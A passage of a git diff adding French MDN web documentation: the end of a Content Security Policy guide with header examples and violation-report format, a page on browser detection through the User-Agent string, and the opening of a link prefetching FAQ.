attaques peuvent être utilisées dans divers buts, comme le vol de données, le défacement de site ou la diffusion de <em>malware</em>.</p> + +<p>CSP a été conçu pour être complètement rétro-compatible (à l'exception de la version 2 dans laquelle existent des incompatibilités décrites explicitement comme telles ; pour plus d'informations, se référer à <a href="https://www.w3.org/TR/CSP2">la documentation du w3c (en anglais)</a>). D'une part : les navigateurs qui ne prennent pas en charge le CSP fonctionnent parfaitement avec les serveurs qui l'implémentent et inversement. D'autre part, lorsque les sites ne fournissent pas les en-têtes correspondant, les navigateurs utilisent la règle de même origine (<em>same-origin policy</em>) pour les contenus.</p> + +<p>Pour activer CSP, vous devez configurer vos serveurs web afin d'ajouter un en-tête (<em>header</em>) HTTP {{HTTPHeader("Content-Security-Policy")}} aux réponses. Vous pouvez rencontrer des documents qui mentionnent <code>X-Content-Security-Policy</code> comme en-tête, il s'agit d'une version obsolète qu'il n'est plus utile de supporter.</p> + +<p>Une autre possibilité consiste à utiliser l'élément HTML {{HTMLElement("meta")}} pour configurer la règle, par exemple : <code><meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"></code></p> + +<h2 id="Menaces">Menaces</h2> + +<h3 id="Réduction_des_attaques_cross_site_scripting_XSS">Réduction des attaques <em>cross site scripting</em> (XSS)</h3> + +<p>L'un des objectifs de CSP est la réduction et le rapport d'attaques XSS (injections de contenu). Les attaques XSS exploitent la confiance que les navigateurs ont dans le contenu reçu des serveurs. Des scripts malveillants peuvent être exécutés par le navigateur d'une victime parce que le navigateur fait confiance au serveur qui lui envoie des données même quand le contenu ne vient pas de là où il semble venir.</p> + +<p>CSP permet aux administrateurs système de réduire ou éliminer les moyens de réaliser des attaques XSS en permettant de spécifier les domaines autorisés à fournir des scripts pour la page visitée. Un navigateur compatible avec CSP n'exécute que les scripts provenant d'une origine autorisée par les règles CSP reçues et ignore ceux qui ne sont pas autorisés. On peut ainsi bloquer les domaines non autorisés, les scripts <em>inline</em> (inclus dans une page HTML) ou associés à des événements via les attributs HTML dédiés.</p> + +<p>Pour un niveau de protection le plus élevé possible, un site qui voudrait qu'aucun script ne puisse être exécuté peut désactiver tout simplement l'exécution de tout script.</p> + +<h3 id="Empêcher_les_écoutes_du_trafic">Empêcher les écoutes du trafic</h3> + +<p>En plus de restreindre les domaines à partir desquels le contenu peut être chargé, le serveur peut indiquer quels protocoles doivent être utilisés et par exemple forcer l'utilisation de HTTPS afin d'améliorer la sécurité. Une stratégie de sécurité complète pour la transmission des données peut non seulement forcer l'utilisation de TLS via HTTPS mais aussi forcer l'utilisation de <a href="/fr/docs/Web/HTTP/Cookies">cookies sécurisés</a> (qui ne peuvent être envoyés qu'en HTTPS) et indiquer de convertir automatiquement toutes les requêtes qui auraient été faites en HTTP simple en requêtes HTTPS. L'utilisation de l'en-tête {{HTTPHeader("Strict-Transport-Security")}} permet de s'assurer que les navigateurs utilisent obligatoirement des connexions chiffrées en TLS (HTTPS).</p> + +<h2 id="Utiliser_CSP">Utiliser CSP</h2> + +<p>Configurer une stratégie CSP nécessite d'utiliser un en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour une page web et de spécifier une valeur pour contrôler les ressources que le navigateur est autorisé à charger pour cette page. Ainsi, une page qui charge et affiche des images peut autoriser les images stockées n'importe où mais n'autoriser les envois de formulaires que vers certaines adresses.</p> + +<h3 id="Créer_votre_règle_CSP">Créer votre règle CSP</h3> + +<p>On peut utiliser l'en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour définir la règle ainsi :</p> + +<pre class="syntaxbox">Content-Security-Policy: <em>règle</em></pre> + +<p>La <code>règle</code> est une chaîne de caractères contenant la liste des règles qui constituent la règle CSP.</p> + +<h3 id="Écrire_une_règle">Écrire une règle</h3> + +<p>Une règle est définie par une série de directives qui décrivent chacune le comportement attendu pour un certain type de contenu ou pour l'ensemble des requêtes. Une règle peut inclure une directive {{CSP("default-src")}} pour la règle par défaut qui s'applique aux ressources pour lesquelles aucune règle n'est définie. Pour les autres types de règle, on pourra se référer à la page {{CSP("default-src")}}. Pour bloquer les scripts intégrés au code HTML (JavaScript <em>inline</em>) et l'utilisation de <code>eval()</code>, une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("script-src")}}. Pour bloquer les modifications de style intégrées au code HTML (CSS <em>inline</em> avec les attributs HTML {{HTMLElement("style")}}) et l'utilisation des balises <code>style</code>, une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("style-src")}}.</p> + +<h2 id="Exemples_pour_les_cas_courants">Exemples pour les cas courants</h2> + +<p>Cette section propose des règles CSP pour les scenarios les plus classiques.</p> + +<h3 id="Exemple_1">Exemple 1</h3> + +<p>Ici, on souhaite que tout le contenu du site soit fourni par la même origine (on exclut les sous-domaines) :</p> + +<pre class="syntaxbox">Content-Security-Policy: default-src 'self';</pre> + +<h3 id="Exemple_2">Exemple 2</h3> + +<p>Pour un site dont tout le contenu est fourni par le site lui-même ou par les sous-domaines de <code>source-sure.example.net</code> (qui peut être un autre site) :</p> + +<pre class="syntaxbox">Content-Security-Policy: default-src 'self' *.source-sure.example.net</pre> + +<h3 id="Exemple_3">Exemple 3</h3> + +<p>Pour un site dont les images peuvent venir de n'importe où, les musiques et vidéos de <code>toto.local</code> ou <code>tata.local</code>, les scripts par <code>scripts.local</code> :</p> + +<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; img-src *; media-src toto.local tata.local; script-src scripts.local</pre> + +<p>Ici, les contenus doivent par défaut venir de la même origine que la page avec les exceptions précédemment décrites. Cela peut permettre aux utilisateurs d'afficher des images quelconques, mais de ne faire confiance qu'à certains domaines pour les musiques, vidéos et scripts.</p> + +<h3 id="Exemple_4">Exemple 4</h3> + +<p>Pour un site dont les données sont critiques/privées et pour lequel toutes les données devraient être transmises en HTTPS depuis un domaine précis :</p> + +<pre class="syntaxbox">Content-Security-Policy: default-src https://confidentiel.example.net</pre> + +<p>Cette règle force l'utilisation de HTTPS et exclut tout usage de contenu ne venant pas de <code>https://confidentiel.example.net</code>.</p> + +<h3 id="Exemple_5">Exemple 5</h3> + +<p>Pour un webmail qui permet d'afficher des mails incluant de l'HTML, des images provenant de n'importe où mais pas de JavaScript ou d'autres contenus potentiellement dangereux :</p> + +<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; img-src *; child-src: *</pre> + +<p>On notera que dans cet exemple, on n'a pas de directive {{CSP("script-src")}}. C'est la directive <code>default-src</code> qui indique le comportement par défaut et donc qui limite le chargement des scripts à l'origine.</p> + +<h2 id="Tester_une_règle_CSP">Tester une règle CSP</h2> + +<p>Pour faciliter le déploiement de CSP, on peut configurer le serveur afin de rapporter uniquement les violations de règle sans appliquer réellement la règle. Ainsi, on peut s'assurer que la règle ne bloque pas les usages du site en récupérant les rapports de violation de la règle en test. On peut aussi tester des modifications d'une règle en place via ce même mécanisme.</p> + +<p>Pour cela, il suffit d'utiliser l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}, comme cela :</p> + +<pre class="syntaxbox">Content-Security-Policy-Report-Only: <em>règle</em> </pre> + +<p>Si les en-têtes HTTP {{HTTPHeader("Content-Security-Policy-Report-Only")}} et {{HTTPHeader("Content-Security-Policy")}} sont tous deux présents dans la réponse du serveur, les deux règles seront respectées, ce qui permet le test d'une nouvelle règle quand il y en a déjà une en place.</p> + +<p>La règle indiquée par <code>Content-Security-Policy</code> est appliquée tandis que celle fourni par <code>Content-Security-Policy-Report-Only</code> génère des rapports mais n'est pas appliquée.</p> + +<p>Si une règle contient une directive {{CSP("report-uri")}} valide, les navigateurs qui prennent en charge CSP doivent envoyer un rapport pour chaque violation de la règle qu'ils détectent.</p> + +<h2 id="Gérer_les_rapports">Gérer les rapports</h2> + +<p>Par défaut, les violations de la règle de sécurité ne sont pas rapportées. Pour avoir des rapports de violation, il faut fournir directive {{CSP("report-uri")}} avec au moins une URL valide à laquelle envoyer les rapports :</p> + +<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre> + +<p>Il faut également configurer le serveur qui doit recevoir les rapports pour traiter les rapports en question et par exemple les stocker afin de les consulter.</p> + +<h2 id="Syntaxe_des_rapports_de_violation">Syntaxe des rapports de violation</h2> + +<p>Le rapport est un objet JSON qui contient :</p> + +<dl> + <dt><code>blocked-uri</code></dt> + <dd>L'URI de la ressource dont le chargement a été bloqué à cause du CSP. Si l'URI bloqué provient d'une origine différente de celle indiquée via <code>document-uri</code>, l'URI bloqué est tronqué et ne contient que le schéma, l'hôte et le port.</dd> + <dt><code>disposition</code></dt> + <dd>La chaîne <code>"report"</code> si l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} a été utilisée ou <code>"enforce"</code> si <code>Content-Security-Policy</code> a été utilisée.</dd> + <dt><code>document-uri</code></dt> + <dd>L'URI du document pour lequel la violation a eu lieu.</dd> + <dt><code>effective-directive</code></dt> + <dd>La directive dont le non-respect a entraîné la violation.</dd> + <dt><code>original-policy</code></dt> + <dd>La règle telle qu'indiquée dans l'en-tête HTTP <code>Content-Security-Policy</code>.</dd> + <dt><code>referrer</code></dt> + <dd>Le <em>referrer</em> du document pour lequel la violation a eu lieu.</dd> + <dt><code>script-sample</code></dt> + <dd>Les 40 premiers caractères du script, du gestionnaire d'évènement ou du style qui a entraîné la violation.</dd> + <dt><code>status-code</code></dt> + <dd>Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié.</dd> + <dt><code>violated-directive</code></dt> + <dd>Le nom de la directive, dans la règle, qui n'a pas été respectée.</dd> +</dl> + +<h2 id="Exemple_de_rapport_de_violation_de_règle">Exemple de rapport de violation de règle</h2> + +<p>Si l'on considère une page <code>http://example.com/connexion.html</code>, qui utilise la règle CSP suivante (qui interdit tout par défaut et autorise les feuilles de style CSS provenant de <code>cdn.example.com</code>) :</p> + +<pre class="syntaxbox">Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre> + +<p>et qui contient le code HTML suivant :</p> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <title>Connectez-vous</title> + <link rel="stylesheet" href="css/style.css"> + </head> + <body> + ... Contenu ... + </body> +</html></pre> + +<p>Dans cette situation, les clients qui visiteraient cette page la verrait avec les styles de base de leur navigateur car les feuilles de style autorisées ne peuvent venir que de <code>cdn.example.com</code> et non du site lui-même (l'origine même de la page) comme <code><link rel="stylesheet" href="css/style.css"></code> l'indique au navigateur. En outre, un navigateur (qui supporte CSP) enverrait le rapport de violation de règle CSP suivant à l'adresse <code>http://example.com/_/csp-reports</code> à chaque visite de la page dont il est question :</p> + +<pre>{ + "csp-report": { + "document-uri": "http://example.com/connexion.html", + "referrer": "", + "blocked-uri": "http://example.com/css/style.css", + "violated-directive": "style-src cdn.example.com", + "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports" + } +}</pre> + +<p>Comme vous pouvez le constater, le rapport inclus l'URI complète de la ressource dans <code>blocked-uri</code>. Ce n'est le cas en général. Ainsi, si la page avait essayé de charger la feuille de style <code>http://anothercdn.example.com/stylesheet.css</code>, le navigateur aurait indiqué seulement <code>"blocked-uri": "http://anothercdn.example.com/"</code>, c'est à dire l'origine et non l'URI complète car l'origine de la feuille bloquée est différente de l'origine du site lui-même. La spécification de la CSP, <a href="http://www.w3.org/TR/CSP/#security-violation-reports">disponible en anglais sur le site du W3C</a>, explique les raisons de ce comportement qui peut surprendre de prime abord. En résumé, ce comportement évite les risques de diffuser des informations confidentielles qui pourraient être incluses dans les URI des ressources provenant d'autres origines.</p> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">La matrice de compatibilité de cette page est générée depuis le dépôt Git https://github.com/mdn/browser-compat-data. Si vous voulez contribuer en modifiant ces données, merci de faire une <em>pull request</em> sur Github.</p> + +<p>{{Compat("http.headers.csp")}}</p> + +<p><em>Il existe une incompatibilité spécifique dans certaines versions de Safari : si un en-tête <code>Content-Security-Policy</code> est défini mais qu'il n'y a pas d'en-tête <code>Same-Origin</code> , le navigateur bloquera le contenu du site courant et celui de l'extérieur en indiquant que la stratégie ne permet pas d'avoir ce contenu.</em></p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> + <li><a href="/fr/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">L'utilisation de CSP pour les WebExtensions.</a></li> + <li> + <p><a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy#Utilisation_du_CSP_dans_les_web_workers">La gestion de CSP dans les web workers</a></p> + </li> +</ul> diff --git a/files/fr/web/http/detection_du_navigateur_en_utilisant_le_user_agent/index.html b/files/fr/web/http/detection_du_navigateur_en_utilisant_le_user_agent/index.html new file mode 100644 index 0000000000..bd7a98de65 --- /dev/null +++ b/files/fr/web/http/detection_du_navigateur_en_utilisant_le_user_agent/index.html @@ -0,0 +1,239 @@ +--- +title: Détection du navigateur à l'aide du User-Agent +slug: Web/HTTP/Detection_du_navigateur_en_utilisant_le_user_agent +tags: + - Compatibilité + - Développement Web +translation_of: Web/HTTP/Browser_detection_using_the_user_agent +--- +<div>{{HTTPSidebar}}</div> + +<p>Afficher des pages web ou des services en fonction du navigateur est généralement une mauvaise idée. Le Web se doit d'être accessible à tout le monde, sans prendre en compte le navigateur ou l'appareil utilisé. Il existe différentes façons de développer votre site web afin de l'améliorer progressivement en se basant sur des fonctionnalités standard plutôt qu'en traitant chaque navigateur de manière spécifique.</p> + +<p>Les navigateurs et les standards ne sont cependant pas parfaits, il reste certains cas limites pour lesquels connaître le navigateur utilisé peut s'avérer utile. Utiliser le User-Agent dans ce but paraît simple mais le faire de manière fiable est en réalité très difficile. Ce document va vous guider pour lire le User-Agent aussi précisément que possible.</p> + +<div class="note"> +<p>Il est important de rappeler que contrôler le contenu du User-Agent est rarement une bonne idée. Il est presque toujours possible de trouver une solution plus générique et compatible avec un plus grand nombre de navigateurs et d'appareils !</p> +</div> + +<h2 id="A_prendre_en_compte_avant_d'identifier_le_navigateur">A prendre en compte avant d'identifier le navigateur</h2> + +<p>Lorsque vous cherchez à contrôler le contenu de la chaîne de caractères User-Agent pour détecter le navigateur utilisé, la première étape consiste à éviter cette méthode autant que possible. Commencez par identifier <strong>pourquoi</strong> vous souhaitez le faire.</p> + +<dl> + <dt>Êtes-vous en train d'essayer de corriger un bug pour une version spécifique d'un navigateur ?</dt> + <dd>Recherchez ou demandez sur les forums spécialisés : vous n'êtes certainement pas le premier à rencontrer le problème. Des experts ou d'autres personnes avec un point de vue différent peuvent vous donner des idées pour contourner le problème. Si le bug n'est pas fréquent, il peut être utile de vérifier s'il a déjà été signalé au fournisseur du navigateur dans son système de suivi des bugs (<a href="https://bugzilla.mozilla.org/">Mozilla</a>, <a href="https://bugs.webkit.org/">WebKit</a>, <a href="https://bugs.opera.com">Opera</a>). Les fournisseurs sont attentifs aux bugs signalés, leur analyse du problème peut apporter un éclairage nouveau permettant de contourner le bug.</dd> + <dt>Cherchez-vous à vérifier l'existence d'une fonctionnalité particulière ?</dt> + <dd>Votre site a besoin d'une fonctionnalité qui n'est pas encore supportée par certains navigateurs et vous souhaitez servir à leurs utilisateurs une version plus ancienne du site, avec moins de fonctionnalités mais dont vous êtes certain qu'elle va fonctionner. Il s'agit de la pire raison de détecter le User-Agent car il y a de grandes chances que ces navigateurs finissent par rattraper leur retard. Dans ce cas, le mieux est d'éviter de recourir au User-Agent et de détecter les fonctionnalités disponibles.</dd> +</dl> + +<dl> +<dt>Voulez-vous servir un code HTML différent selon le navigateur utilisé ?</dt> + <dd>Il s'agit généralement d'une mauvaise pratique mais nécessaire dans certains cas. Vous devez alors analyser la situation pour vous assurer que c'est absolument nécessaire. Pouvez-vous l'éviter en ajoutant des éléments non sémantiques tels que {{ HTMLElement("div") }} ou {{ HTMLElement("span") }} ? La difficulté à détecter le User-Agent justifie des exceptions à la pureté du code HTML. Vous pouvez aussi repenser le design : pouvez-vous plutôt utiliser l'amélioration progressives ou utiliser une grille fluide pour éviter d'avoir recours au User-Agent ?</dd> +</dl> + +<h2 id="Éviter_de_détecter_l'agent_utilisateur">Éviter de détecter l'agent utilisateur</h2> + +<p>Il existe des options possibles à considérer pour éviter d'avoir à détecter l'agent utilisateur.</p> + +<dl> + <dt>Détection de fonctionnalités</dt> + <dd>La détection de fonctionnalités consiste à ne pas détecter quel navigateur affiche la page mais plutôt à vérifier qu'une fonctionnalité est disponible. Dans le cas contraire vous pouvez utiliser une solution de contournement. Cependant, n'utilisez pas la détection de fonctionnalité dans les rares cas où la détection de l'agent utilisateur est utile car les autres navigateurs pourraient dans le futur implémenter la fonctionnalité manquante d'une manière différente. Il pourrait en résulter des bugs particulièrement difficiles à détecter et à corriger.</dd> + <dt>Amélioration progressive</dt> + <dd>Cette technique de design signifie séparer la page web en couches, en utilisant une approche ascendante (ou bottom-up), en commençant par une couche simple (avec peu ou pas de fonctionnalités) puis en améliorant les capacités par couches successives, chacune comportant plus de fonctionnalités.</dd> + <dt>Dégradation élégante</dt> + <dd>Il s'agit d'une approche descendante (ou top-down), avec laquelle on construit le site avec toutes les fonctionalités souhaitées, pour ensuite le faire fonctionner sur des navigateurs plus anciens. Cette technique est plus difficile et moins efficace que l'amélioration progressive mais s'avère utile dans certains cas.</dd> +</dl> + +<h2 id="Où_se_trouve_l'information_recherchée_dans_le_User-Agent">Où se trouve l'information recherchée dans le User-Agent</h2> + +<p>C'est la partie difficile, puisque les différentes sections de la chaîne User-Agent ne sont pas standardisées.</p> + +<h3 id="Nom_du_navigateur">Nom du navigateur</h3> + +<p>Souvent ceux qui disent vouloir détecter le navigateur veulent en fait détecter le moteur de rendu. Souhaitez-vous détecter Firefox et non Seamonkey, ou Chrome et non Chromium ? Ou seulement savoir si le navigateur utilise le moteur de rendu Gecko ou Webkit ? Dans ce dernier cas, réferrez vous plus bas dans cette page.</p> + +<p>La plupart des navigateurs notent leur nom et version suivant le format <em>NomDuNavigateur/NuméroDeVersion</em>, à l'exception notable d'Internet Explorer. Le nom n'est cependant pas la seule information du User-Agent qui respecte ce format, il n'est donc pas possible d'y trouver directement le nom du navigateur, seulement de vérifier si le nom recherché est présent ou non. Attention certains navigateurs mentent : par exemple, Chrome mentionne à la fois Chrome et Safari dans le User-Agent. Pour détecter Safari il faut donc vérifier que la chaîne "Safari" est présente et "Chrome" est absent. De la même façon, Chromium se présente souvent comme Chrome et Seamonkey comme Firefox.</p> + +<p>Faites aussi attention à ne pas utiliser une expression régulière trop simple sur le nom du navigateur car le User-Agent contient d'autres chaînes de caractères ne respectant pas le format clé/valeur. Par exemple, le User-Agent de Safari et Chrome contient une chaîne "like Gecko".</p> + +<table style="height: 585px; width: 852px;"> + <thead> + <tr> + <th scope="col"> </th> + <th scope="col">Doit contenir</th> + <th scope="col">Ne doit pas contenir</th> + <th scope="col"> </th> + </tr> + </thead> + <tbody> + <tr> + <td>Firefox</td> + <td>Firefox/xyz</td> + <td>Seamonkey/xyz</td> + <td> </td> + </tr> + <tr> + <td>Seamonkey</td> + <td>Seamonkey/xyz</td> + <td> </td> + <td> </td> + </tr> + <tr> + <td>Chrome</td> + <td>Chrome/xyz</td> + <td>Chromium/xyz</td> + <td> </td> + </tr> + <tr> + <td>Chromium</td> + <td>Chromium/xyz</td> + <td> </td> + <td> </td> + </tr> + <tr> + <td>Safari</td> + <td>Safari/xyz</td> + <td>Chrome/xyz ou Chromium/xyz</td> + <td>Safari donne deux numéros de version, l'un technique au format Safari/xyz, l'autre plus convivial su format Version/xyz</td> + </tr> + <tr> + <td>Opera</td> + <td> + <p>OPR/xyz <sup>[1]</sup></p> + + <p>Opera/xyz <sup>[2]</sup></p> + </td> + <td> </td> + <td> + <p><sup>[1]</sup> Opera 15+ (moteur de rendu Blink) </p> + + <p><sup>[2]</sup><span style="line-height: 1.5;"> Opera 12- (moteur de rendu Presto)</span></p> + </td> + </tr> + <tr> + <td>Internet Explorer</td> + <td>;MSIE xyz;</td> + <td> </td> + <td>Internet Explorer n'utilise pas le format <em>NomDuNavigateur/NuméroDeVersion</em></td> + </tr> + </tbody> +</table> + +<p>Il n'y a évidemment aucune garantie qu'aucun autre navigateur ne va utiliser ces notations (comme Chrome qui mentionne "Safari" dans son User-Agent). C'est pourquoi la détection du navigateur par ce moyen n'est pas fiable et ne doit être fait qu'en vérifiant aussi le numéro de version (il est peu probable qu'un navigateur mentionne dans son User-Agent le nom d'un autre navigateur dans une version plus ancienne).</p> + +<h3 id="Version_du_navigateur">Version du navigateur</h3> + +<p>La version du navigateur est souvent, mais pas toujours, écrite dans la valeur d'un ensemble clé/valeur <em>NomDuNavigateur/NuméroDeVersion</em> dans la chaîne de caractères du User-Agent. Ce n'est pas le cas d'Internet Explorer (qui écrit son numéro de version juste après la chaîne "MSIE"), et d'Opera après la version 10, qui ajoute une section <em>Version/NuméroDeVersion</em>.</p> + +<p>Encore une fois, assurez vous de regarder au bon endroit selon le navigateur visé car il n'y a aucune garantie de trouver un numéro de version valide dans le reste du User-Agent.</p> + +<h3 id="Moteur_de_rendu">Moteur de rendu</h3> + +<p>Comme indiqué plus haut, chercher le nom du moteur de recherche est la plupart du temps la meilleure solution. Cela permet de ne pas exclure des navigateurs peu connus basés sur le même moteur de rendu qu'un autre plus connu. Les navigateurs qui utilisent le même moteur de rendu affichent les pages de la même façon : on peut partir du principe que ce qui va fonctionner avec l'un fonctionnera avec l'autre.</p> + +<p>Il y a cinq principaux moteurs de rendu : Trident, Gecko, Presto, Blink et Webkit. Puisque détecter le nom du moteur de rendu est courant, d'autres noms sont ajoutés dans beaucoup d'autres User-Agents. Il est donc important de faire attention aux faux positifs lorsqu'on cherche à détecter le moteur de rendu.</p> + +<table style="width: 100%;"> + <thead> + <tr> + <th scope="col"> </th> + <th scope="col">Doit contenir</th> + <th scope="col"> </th> + </tr> + </thead> + <tbody> + <tr> + <td>Gecko</td> + <td>Gecko/xyz</td> + <td> </td> + </tr> + <tr> + <td>WebKit</td> + <td>AppleWebKit/xyz</td> + <td>Attention : les navigateurs qui utilisent Webkit ajoutent "like Gecko", ce qui peut déclencher de faux positifs</td> + </tr> + <tr> + <td>Presto</td> + <td>Opera/xyz</td> + <td><strong>Note :</strong> Presto n'est plus utilisé par Opera pour les versions >= 15 (voir "Blink")</td> + </tr> + <tr> + <td>Trident</td> + <td>Trident/xyz</td> + <td>Internet Explorer place cette chaîne dans la partie <em>commentaire</em> du User-Agent</td> + </tr> + <tr> + <td>Blink</td> + <td>Chrome/xyz</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Version_du_moteur_de_rendu">Version du moteur de rendu</h2> + +<p>La plupart des moteurs de rendu placent leur numéro de version dans la section <em>MoteurDeRendu/NuméroDeVersion</em>, à l'exception notable de Gecko. Gecko place le numéro de version dans la partie commentaire après la chaîne <code>rv:</code>. Depuis la version 14 pour mobile et 17 pour les ordinateurs, il pace aussi cette valeur dans la section <code>Gecko/version</code> (les versions précédentes y plaçaient la date de compilation, puis une date fixe appelée "Gecko Trail").</p> + +<h2 id="Système_d'Exploitation">Système d'Exploitation</h2> + +<p>Le système d'exploitation est dans la plupart des cas donné dans le User-Agent (il n'est pas donné dans des systèmes orientés web tels que Firefox OS) mais sous un format très variable. C'est une chaîne encadrée par des point-virgules, dans la partie commentaire du User-Agent. Cette chaîne est spécifique à chaque navigateur. Elle indique le nom du système d'exploitation et souvent sa version et des informations sur le matériel (32 ou 64 bits, ou Intel/PPC pour Mac).</p> + +<p>Comme pour le reste, ces chaînes peuvent changer dans le futur, elles doivent seulement être utilisées en conjonction avec la détection de navigateurs existants. Une veille technologique doit s'effectuer pour adapter le script de détection lorsque de nouvelles versions des navigateurs sortent.</p> + +<h3 id="Mobile_tablette_ou_ordinateur">Mobile, tablette ou ordinateur</h3> + +<p>La raison la plus courante de détecter le User-Agent et de déterminer sur quel type d'appareil fonctionne le navigateur. Le but est de servir un code HTML différent selon le type d'appareil.</p> + +<ul> + <li>Ne partez jamais du principe qu'un navigateur ne fonctionne que sur un seul type d'appareil. En particulier, ne pas définir de paramètre par défaut selon le navigateur.</li> + <li>N'utilisez jamais la chaîne dédiée au système d'exploitation pour déterminer si le navigateur est sur un mobile, une tablette ou un ordinateur. Le même système d'exploitation peut fonctionner sur plusieurs types d'appareil (par exemple, Android fonctionne aussi bien sur des tablettes que sur des téléphones).</li> +</ul> + +<p>Le tableau suivant résume de quelle façon les principaux navigateurs indiquent qu'ils fonctionnent sur un appareil mobile :</p> + +<table> + <caption>User Agent des navigateurs courants</caption> + <thead> + <tr> + <th scope="col">Navigateur</th> + <th scope="col">Règle</th> + <th scope="col">Exemple</th> + </tr> + </thead> + <tbody> + <tr> + <td>Mozilla (Gecko, Firefox)</td> + <td><a href="/en-US/docs/Gecko_user_agent_string_reference">Chaîne <strong>Mobile</strong> ou <strong>Tablet</strong></a> dans le commentaire</td> + <td>Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0<span class="Object" id="OBJ_PREFIX_DWT935_com_zimbra_ymaps"><span class="Object" id="OBJ_PREFIX_DWT936_com_zimbra_ymaps"> Firefox/13.0</span></span></td> + </tr> + <tr> + <td>Basé sur WebKit (Android, Safari)</td> + <td><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3">Chaîne <strong>Mobile Safari</strong></a> hors du commentaire</td> + <td>Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30</td> + </tr> + <tr> + <td>Basé sur Blink (Chromium, Google Chrome, Opera 15+)</td> + <td><a href="https://developers.google.com/chrome/mobile/docs/user-agent">Chaîne <strong>Mobile Safari</strong> token</a> hors du commentaire</td> + <td>Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047</td> + </tr> + <tr> + <td>Basé sur Presto (Opera 12-)</td> + <td> + <p><a href="http://my.opera.com/community/openweb/idopera/" style="line-height: 1.5;">Chaîne <strong>Opera Mobi/xyz</strong></a><span style="line-height: 1.5;"> dans le commentaire (Opera 12-)</span></p> + </td> + <td> + <p><span style="line-height: 1.5;">Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50</span></p> + </td> + </tr> + <tr> + <td>Internet Explorer</td> + <td>Chaîne <strong>IEMobile/xyz</strong> dans le commentaire</td> + <td>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</td> + </tr> + </tbody> +</table> + +<p>En résumé, nous recommandons de chercher la chaîne "Mobi" dans le User-Agent pour détecter un appareil mobile.</p> + +<p>{{note("Si l'appareil est suffisamment grand pour ne pas être indiqué “Mobi“, il est préférable de servir la version du site pour ordinateur. De toute manière, supporter les interactions tactiles pour un site “pour ordinateur“ est une bonne pratique. En effet, de plus en plus d'ordinateurs sont équipés d'écrans tactiles.")}}</p> diff --git a/files/fr/web/http/faq_sur_le_préchargement_des_liens/index.html b/files/fr/web/http/faq_sur_le_préchargement_des_liens/index.html new file mode 100644 index 0000000000..c401133b7f --- /dev/null +++ b/files/fr/web/http/faq_sur_le_préchargement_des_liens/index.html @@ -0,0 +1,134 @@ +--- +title: FAQ sur le préchargement des liens +slug: Web/HTTP/FAQ_sur_le_préchargement_des_liens +tags: + - Développement_Web + - Gecko + - HTML + - HTTP +translation_of: Web/HTTP/Link_prefetching_FAQ +--- +<h3 id="Qu.E2.80.99est_ce_que_le_pr.C3.A9chargement_de_liens_.3F" name="Qu.E2.80.99est_ce_que_le_pr.C3.A9chargement_de_liens_.3F">Qu’est ce que le préchargement de liens ?</h3> + +<p>Le préchargement de liens est un mécanisme du navigateur qui utilise le temps disponible du navigateur pour télécharger ou<em> précharger</em> les documents que les utilisateurs pourraient visiter juste après. Une page web fournit un ensemble de cibles à précharger au navigateur. Une fois que le navigateur a fini de charger la page, il commence, de façon transparente, à précharger les documents spécifiés et les emmagasine dans son cache. Quand l’utilisateur visite un de ces documents préchargés, il peut être ressorti rapidement du cache du navigateur.</p> + +<h3 id="Le_préchargement_fonctionne-t-il_avec_HTTPS">Le préchargement fonctionne-t-il avec HTTPS ?</h3> + +<p>À partir de Gecko 1.9.1 (Firefox 3.5), le contenu HTTPS peut être préchargé.</p> + +<h3 id="Quelles_sont_les_cibles_.C3.A0__pr.C3.A9charger_.3F" name="Quelles_sont_les_cibles_.C3.A0__pr.C3.A9charger_.3F">Quelles sont les cibles à précharger ?</h3> + +<p>Le navigateur cherche soit une balise HTML <code>link</code>, soit un en-tête HTTP <code>Link:</code> avec un type de relation <code>next</code> ou <code>prefetch</code>. Ci-dessous, un exemple d’utilisation de la balise <code>link</code> :</p> + +<pre class="eval"><link rel="prefetch" href="/images/big.jpeg"> +</pre> + +<p>La même cible à précharger, cette fois avec un en-tête HTTP <code>Link:</code> :</p> + +<pre class="eval">Link: </images/big.jpeg>; rel=prefetch +</pre> + +<p>L’en-tête <code>Link:</code> peut également être spécifiée à l’intérieur d’un document HTML en utilisant une balise HTML <code>meta</code> :</p> + +<pre class="eval"><meta http-equiv="Link" content="&lt;/images/big.jpeg&gt;; rel=prefetch"> +</pre> + +<p>Le format pour l’en-tête <code>Link:</code>est décrit dans le <a class="external" href="http://tools.ietf.org/html/rfc2068" 